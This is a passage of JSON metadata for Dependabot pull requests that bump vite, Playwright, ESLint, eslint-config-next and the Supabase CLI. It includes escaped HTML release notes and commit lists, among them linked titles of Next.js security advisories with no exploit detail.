href=\"https://github.com/vitejs/vite/compare/v8.3.2...v8.3.3\"\u003e8.3.3\u003c/a\u003e (2026-10-06)\u003c!-- raw HTML omitted --\u003e\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003edeps:\u003c/strong\u003e update launch-editor to v2.14.2 (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23654\"\u003e#23654\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/22fd1d5238cce2ee9db0eb4122f9e8feb6b06097\"\u003e22fd1d5\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ehtml:\u003c/strong\u003e filename passed to transformIndexHtml should not include queries (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23653\"\u003e#23653\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/7dafd8e56f152403a3230608fa4005273c2e9e17\"\u003e7dafd8e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eserver:\u003c/strong\u003e check \u003ccode\u003efs.serve\u003c/code\u003e for \u003ccode\u003e?vite-wasm-instance\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23655\"\u003e#23655\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/ba8b7ab43b4afa5d0292ab4b6e3a7b5033cc9c73\"\u003eba8b7ab\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eserver:\u003c/strong\u003e store ids to \u003ccode\u003esafeModulePaths\u003c/code\u003e rather than URLs (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23656\"\u003e#23656\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/c3e06f92e969952466b4e2f5801e85e1e00cd905\"\u003ec3e06f9\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003c!-- raw HTML omitted --\u003e\u003ca href=\"https://github.com/vitejs/vite/compare/v8.3.1...v8.3.2\"\u003e8.3.2\u003c/a\u003e (2026-10-01)\u003c!-- raw HTML omitted --\u003e\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ebuild:\u003c/strong\u003e preload CSS correctly when \u003ccode\u003erenderBuiltUrl\u003c/code\u003e returns URLs with queries (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23611\"\u003e#23611\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/64e0a215c24f0522b27b91f93cfd93e317b94481\"\u003e64e0a21\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebundled-dev:\u003c/strong\u003e serve lazy chunk sourcemaps (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23026\"\u003e#23026\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/eb7aa9a8816a1e926d5d9b4cbe7e796b61314ce2\"\u003eeb7aa9a\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebundled-dev:\u003c/strong\u003e serve the rolldown runtime from the installed rolldown (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23568\"\u003e#23568\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/bc598a6a8a6b7d6e157e9f19c16911cff8d2360c\"\u003ebc598a6\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003edeps:\u003c/strong\u003e update all non-major dependencies (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23601\"\u003e#23601\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/9944fa6033873f13ae88f59e023ab642c50fee2b\"\u003e9944fa6\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003edeps:\u003c/strong\u003e update rolldown-related dependencies (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23602\"\u003e#23602\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/88c17415af221b3a13e778f4f2c0e907c8287baf\"\u003e88c1741\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ehtml:\u003c/strong\u003e resolve percent-encoded srcset urls (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23609\"\u003e#23609\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/53f1ce7bfe38426861f6da572ef0e3359f6a80cd\"\u003e53f1ce7\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003elimit size of object and array printing via \u003ccode\u003eforwardConsole\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23565\"\u003e#23565\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/e64a5877dd3e552843a545749ccc257568917d28\"\u003ee64a587\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/b6c20f6a8126d8561891e5fb9368e8fc9da37538\"\u003e\u003ccode\u003eb6c20f6\u003c/code\u003e\u003c/a\u003e release: v8.3.4 (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/23702\"\u003e#23702\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/b28db28e9e62d9866a9a0f1b22e74589cc180577\"\u003e\u003ccode\u003eb28db28\u003c/code\u003e\u003c/a\u003e fix(server): match static aliases on path boundaries (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/23643\"\u003e#23643\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/bc0f21c56a2e003a4d2dd23ccb9da3ec8c706c4e\"\u003e\u003ccode\u003ebc0f21c\u003c/code\u003e\u003c/a\u003e feat(bundled-dev): support \u003ccode\u003eimport.meta.hot.acceptExports\u003c/code\u003e (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/23463\"\u003e#23463\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/fa7146938b0ca703653c90c20907191a01c032ba\"\u003e\u003ccode\u003efa71469\u003c/code\u003e\u003c/a\u003e fix(client): skip rewriting unchanged adopted styles (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/23697\"\u003e#23697\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/...\n\n_Description has been truncated_","html_url":"https://github.com/cwchanap/Eridanus/pull/25","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/cwchanap%2FEridanus/issues/25","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/25/packages"}},{"old_version":"5.0.4","new_version":"5.0.5","update_type":"patch","path":null,"pr_created_at":"2026-10-24T05:05:13.000Z","version_change":"5.0.4 → 5.0.5","issue":{"uuid":"6009563045","node_id":"PR_kwDOROB3hs8AAAABKZYXrA","number":85,"state":"open","title":"chore(deps-dev): bump the development group with 5 updates","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-10-24T05:05:13.000Z","updated_at":"2026-10-24T05:06:05.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps-dev): bump","group_name":"development","update_count":5,"packages":[{"name":"@playwright/test","old_version":"1.64.0","new_version":"1.64.1","repository_url":"https://github.com/microsoft/playwright"},{"name":"eslint","old_version":"10.12.0","new_version":"10.13.0","repository_url":"https://github.com/eslint/eslint"},{"name":"eslint-config-next","old_version":"16.4.0","new_version":"16.4.2","repository_url":"https://github.com/vercel/next.js"},{"name":"supabase","old_version":"2.120.0","new_version":"2.121.0","repository_url":"https://github.com/supabase/cli"},{"name":"vitest","old_version":"5.0.4","new_version":"5.0.5","repository_url":"https://github.com/vitest-dev/vitest"}],"path":null,"ecosystem":"npm"},"body":"Bumps the development group with 5 updates:\n\n| Package | From | To |\n| --- | --- | --- |\n| [@playwright/test](https://github.com/microsoft/playwright) | `1.64.0` | `1.64.1` |\n| [eslint](https://github.com/eslint/eslint) | `10.12.0` | `10.13.0` |\n| [eslint-config-next](https://github.com/vercel/next.js/tree/HEAD/packages/eslint-config-next) | `16.4.0` | `16.4.2` |\n| [supabase](https://github.com/supabase/cli/tree/HEAD/apps/cli) | `2.120.0` | `2.121.0` |\n| [vitest](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest) | `5.0.4` | `5.0.5` |\n\nUpdates `@playwright/test` from 1.64.0 to 1.64.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/microsoft/playwright/releases\"\u003e@​playwright/test's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev1.64.1\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43247\"\u003e#43247\u003c/a\u003e [Bug]: _electron.launch intermittently loses a packaged app's first window since 1.64.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43242\"\u003e#43242\u003c/a\u003e [Regression]: Chromium 155+ aborts a preflighted cross-origin redirect whenever any route is registered (net::ERR_ABORTED)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/cfe490d941f992655948eee8fd4fd94e1c4234bf\"\u003e\u003ccode\u003ecfe490d\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43353\"\u003e#43353\u003c/a\u003e): docs: release notes for v1.64 Python\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/866cbb864009f84d7e8e41c64fdbfceff43f280d\"\u003e\u003ccode\u003e866cbb8\u003c/code\u003e\u003c/a\u003e chore: mark v1.64.1 (\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43354\"\u003e#43354\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/1b2924712024804936dbcfe9fabaa655d52325e5\"\u003e\u003ccode\u003e1b29247\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43250\"\u003e#43250\u003c/a\u003e): fix(electron): do not drop windows that have not navigat...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/632d976826c74b0163fd5201a05b7b4853ba3f4a\"\u003e\u003ccode\u003e632d976\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43249\"\u003e#43249\u003c/a\u003e): fix(chromium): disable AvoidCorsURLLoaderRestartOnRedirect\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/824d0c5d1e10f21fcbe88d18a99d06194acde77c\"\u003e\u003ccode\u003e824d0c5\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43217\"\u003e#43217\u003c/a\u003e): chore(dotnet): fix async suffix of optional-arg overload...\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/microsoft/playwright/compare/v1.64.0...v1.64.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `eslint` from 10.12.0 to 10.13.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/eslint/eslint/releases\"\u003eeslint's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev10.13.0\u003c/h2\u003e\n\u003ch2\u003eFeatures\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/48d5cc47e43478670ccf95a74f7a73e8408152b5\"\u003e\u003ccode\u003e48d5cc4\u003c/code\u003e\u003c/a\u003e feat: report references inside IIFEs in \u003ccode\u003eno-use-before-define\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21238\"\u003e#21238\u003c/a\u003e) (Irfan fandi)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/a39d9fb1fdb5db546f6407580cac531ba3370450\"\u003e\u003ccode\u003ea39d9fb\u003c/code\u003e\u003c/a\u003e feat: add \u003ccode\u003eglobalThis\u003c/code\u003e to \u003ccode\u003eno-obj-calls\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21382\"\u003e#21382\u003c/a\u003e) (synthex-byte)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/66ac58383e076940c11a5d7213ad079028d1140e\"\u003e\u003ccode\u003e66ac583\u003c/code\u003e\u003c/a\u003e feat: check \u003ccode\u003eyield*\u003c/code\u003e expressions in \u003ccode\u003eno-unsafe-optional-chaining\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21399\"\u003e#21399\u003c/a\u003e) (xbinaryx)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eBug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/87bd2cef7b2309739c29598fb2be335f4bed71a3\"\u003e\u003ccode\u003e87bd2ce\u003c/code\u003e\u003c/a\u003e fix: avoid redeclared \u003ccode\u003elet\u003c/code\u003e when \u003ccode\u003eno-var\u003c/code\u003e and \u003ccode\u003eone-var\u003c/code\u003e fix together (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21389\"\u003e#21389\u003c/a\u003e) (Daniel Pinto)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eDocumentation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/4783a6806fb73ea4843ac46c6ae3d8285f56c288\"\u003e\u003ccode\u003e4783a68\u003c/code\u003e\u003c/a\u003e docs: Update README (GitHub Actions Bot)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/43f0ac90e7858a834a0e68309e6397fb4cfa72dd\"\u003e\u003ccode\u003e43f0ac9\u003c/code\u003e\u003c/a\u003e docs: clarify parameter description in \u003ccode\u003egetText\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21287\"\u003e#21287\u003c/a\u003e) (lumir)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eChores\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/b59d889c7c18d8c73144e6ba46e9e7f3e7da0196\"\u003e\u003ccode\u003eb59d889\u003c/code\u003e\u003c/a\u003e chore: update github/codeql-action action to v4.38.3 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21412\"\u003e#21412\u003c/a\u003e) (renovate[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/95e51a0518b15015304eca9844b3f64c1fc167ca\"\u003e\u003ccode\u003e95e51a0\u003c/code\u003e\u003c/a\u003e ci: re-enable \u003ccode\u003e@typescript-eslint/typescript-eslint\u003c/code\u003e in ecosystem tests (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21410\"\u003e#21410\u003c/a\u003e) (Francesco Trotta)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/317fcb365f19e912a60d171a9d5a8d1f16fe4660\"\u003e\u003ccode\u003e317fcb3\u003c/code\u003e\u003c/a\u003e chore: update ecosystem plugins (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21409\"\u003e#21409\u003c/a\u003e) (ESLint Bot)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/b92decf8ead7cc4082a18a4a0ab28f3c7c589887\"\u003e\u003ccode\u003eb92decf\u003c/code\u003e\u003c/a\u003e perf: skip no-redeclare scan for single-declaration variables (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21365\"\u003e#21365\u003c/a\u003e) (James Ross)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/47b7063b3f3f7bc7a5bcb87c082577e4e8b96e24\"\u003e\u003ccode\u003e47b7063\u003c/code\u003e\u003c/a\u003e chore: update dependency \u003ccode\u003e@​eslint/json\u003c/code\u003e to ^2.1.1 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21398\"\u003e#21398\u003c/a\u003e) (renovate[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/e5aea414cc00555ecd43f6e608bf80e0f9a6d4d6\"\u003e\u003ccode\u003ee5aea41\u003c/code\u003e\u003c/a\u003e chore: update ecosystem plugins (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21390\"\u003e#21390\u003c/a\u003e) (ESLint Bot)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/4637f9827a1ba137498eaee70957850621082815\"\u003e\u003ccode\u003e4637f98\u003c/code\u003e\u003c/a\u003e 10.13.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/96df05ceb7000813859acf16a690f8a8bbbea904\"\u003e\u003ccode\u003e96df05c\u003c/code\u003e\u003c/a\u003e Build: changelog update for 10.13.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/4783a6806fb73ea4843ac46c6ae3d8285f56c288\"\u003e\u003ccode\u003e4783a68\u003c/code\u003e\u003c/a\u003e docs: Update README\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/b59d889c7c18d8c73144e6ba46e9e7f3e7da0196\"\u003e\u003ccode\u003eb59d889\u003c/code\u003e\u003c/a\u003e chore: update github/codeql-action action to v4.38.3 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21412\"\u003e#21412\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/95e51a0518b15015304eca9844b3f64c1fc167ca\"\u003e\u003ccode\u003e95e51a0\u003c/code\u003e\u003c/a\u003e ci: re-enable \u003ccode\u003e@typescript-eslint/typescript-eslint\u003c/code\u003e in ecosystem tests (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21410\"\u003e#21410\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/317fcb365f19e912a60d171a9d5a8d1f16fe4660\"\u003e\u003ccode\u003e317fcb3\u003c/code\u003e\u003c/a\u003e chore: update ecosystem plugins (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21409\"\u003e#21409\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/48d5cc47e43478670ccf95a74f7a73e8408152b5\"\u003e\u003ccode\u003e48d5cc4\u003c/code\u003e\u003c/a\u003e feat: report references inside IIFEs in \u003ccode\u003eno-use-before-define\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21238\"\u003e#21238\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/43f0ac90e7858a834a0e68309e6397fb4cfa72dd\"\u003e\u003ccode\u003e43f0ac9\u003c/code\u003e\u003c/a\u003e docs: clarify parameter description in \u003ccode\u003egetText\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21287\"\u003e#21287\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/a39d9fb1fdb5db546f6407580cac531ba3370450\"\u003e\u003ccode\u003ea39d9fb\u003c/code\u003e\u003c/a\u003e feat: add \u003ccode\u003eglobalThis\u003c/code\u003e to \u003ccode\u003eno-obj-calls\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21382\"\u003e#21382\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/b92decf8ead7cc4082a18a4a0ab28f3c7c589887\"\u003e\u003ccode\u003eb92decf\u003c/code\u003e\u003c/a\u003e perf: skip no-redeclare scan for single-declaration variables (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21365\"\u003e#21365\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/eslint/eslint/compare/v10.12.0...v10.13.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `eslint-config-next` from 16.4.0 to 16.4.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vercel/next.js/releases\"\u003eeslint-config-next's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev16.4.2\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[lts-active] turbo-tasks snapshot consistency fixes (\u003ca href=\"https://github.com/vercel/next.js/tree/HEAD/packages/eslint-config-next/issues/99644\"\u003e#99644\u003c/a\u003e, \u003ca href=\"https://github.com/vercel/next.js/tree/HEAD/packages/eslint-config-next/issues/99732\"\u003e#99732\u003c/a\u003e, \u003ca href=\"https://github.com/vercel/next.js/tree/HEAD/packages/eslint-config-next/issues/99649\"\u003e#99649\u003c/a\u003e) by \u003ca href=\"https://github.com/lukesandberg\"\u003e\u003ccode\u003e@​lukesandberg\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/next.js/pull/100002\"\u003evercel/next.js#100002\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e[lts-active] Turbopack: backport Pages Router dev module graph chaining (\u003ca href=\"https://github.com/vercel/next.js/tree/HEAD/packages/eslint-config-next/issues/98823\"\u003e#98823\u003c/a\u003e, \u003ca href=\"https://github.com/vercel/next.js/tree/HEAD/packages/eslint-config-next/issues/99910\"\u003e#99910\u003c/a\u003e, \u003ca href=\"https://github.com/vercel/next.js/tree/HEAD/packages/eslint-config-next/issues/100091\"\u003e#100091\u003c/a\u003e) by \u003ca href=\"https://github.com/sokra\"\u003e\u003ccode\u003e@​sokra\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/next.js/pull/100008\"\u003evercel/next.js#100008\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e[lts-active] fix(next-code-frame): snap visible window to char boundaries by \u003ca href=\"https://github.com/lukesandberg\"\u003e\u003ccode\u003e@​lukesandberg\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/next.js/pull/100212\"\u003evercel/next.js#100212\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e[lts-active] [turbopack] Fix two GC paths that leave half-torn-down dependency edges by \u003ca href=\"https://github.com/lukesandberg\"\u003e\u003ccode\u003e@​lukesandberg\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/next.js/pull/100209\"\u003evercel/next.js#100209\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e[lts-active] Turbopack: Ignore realpath errors during module resolution, matching node's behavior by \u003ca href=\"https://github.com/lukesandberg\"\u003e\u003ccode\u003e@​lukesandberg\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/next.js/pull/100217\"\u003evercel/next.js#100217\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e[lts-active] Backport docs fixes since v16.4.0 by \u003ca href=\"https://github.com/icyJoseph\"\u003e\u003ccode\u003e@​icyJoseph\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/next.js/pull/100246\"\u003evercel/next.js#100246\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e[lts-active] Fix Turbopack lazy dynamic-import chunk-list collisions by \u003ca href=\"https://github.com/lukesandberg\"\u003e\u003ccode\u003e@​lukesandberg\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/next.js/pull/100211\"\u003evercel/next.js#100211\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e[lts-active] Backport additional documentation fixes since v16.4.0 by \u003ca href=\"https://github.com/aurorascharff\"\u003e\u003ccode\u003e@​aurorascharff\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/next.js/pull/100262\"\u003evercel/next.js#100262\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/vercel/next.js/compare/v16.4.1...v16.4.2\"\u003ehttps://github.com/vercel/next.js/compare/v16.4.1...v16.4.2\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev16.4.1\u003c/h2\u003e\n\u003cp\u003eThis release contains security fixes for the following advisories:\u003c/p\u003e\n\u003cp\u003eCritical:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/security/advisories/GHSA-673q-mjm6-r5xr\"\u003eUnauthenticated Remote Code Execution in \u003ccode\u003euse cache\u003c/code\u003e functions returning typed arrays\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/security/advisories/GHSA-2464-fhr4-w9xw\"\u003eUnauthenticated Remote Code Execution in Image Optimization API when SVG files are used\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eHigh:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/security/advisories/GHSA-p3m5-59mp-jv5r\"\u003eDenial of Service in App Router using Server Actions\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/2864b1772c37242a9b40ab4d366eb7d368c2a070\"\u003e\u003ccode\u003e2864b17\u003c/code\u003e\u003c/a\u003e v16.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/7217011ac0d689026884dd28536a0c7f3c98ba77\"\u003e\u003ccode\u003e7217011\u003c/code\u003e\u003c/a\u003e v16.4.1\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/vercel/next.js/commits/v16.4.2/packages/eslint-config-next\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `supabase` from 2.120.0 to 2.121.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/supabase/cli/releases\"\u003esupabase's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.121.0\u003c/h2\u003e\n\u003ch2\u003eSupabase CLI v2.121.0 — 2026-10-14\u003c/h2\u003e\n\u003cp\u003eThis release is mostly stack reliability fixes, plus new \u003ccode\u003estack\u003c/code\u003e options and deprecation warnings you'll want to see before the next major version. Most entries below are from PR titles, not full PR review.\u003c/p\u003e\n\u003ch3\u003eHighlights\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eOrioleDB through \u003ccode\u003edb.orioledb_version\u003c/code\u003e\u003c/strong\u003e — set the OrioleDB version in config instead of relying on a separate setup path. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/6934\"\u003e#6934\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eRepeatable \u003ccode\u003e--stack-id\u003c/code\u003e in \u003ccode\u003estack destroy\u003c/code\u003e\u003c/strong\u003e — tear down several stacks in one command. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/6964\"\u003e#6964\u003c/a\u003e, \u003ca 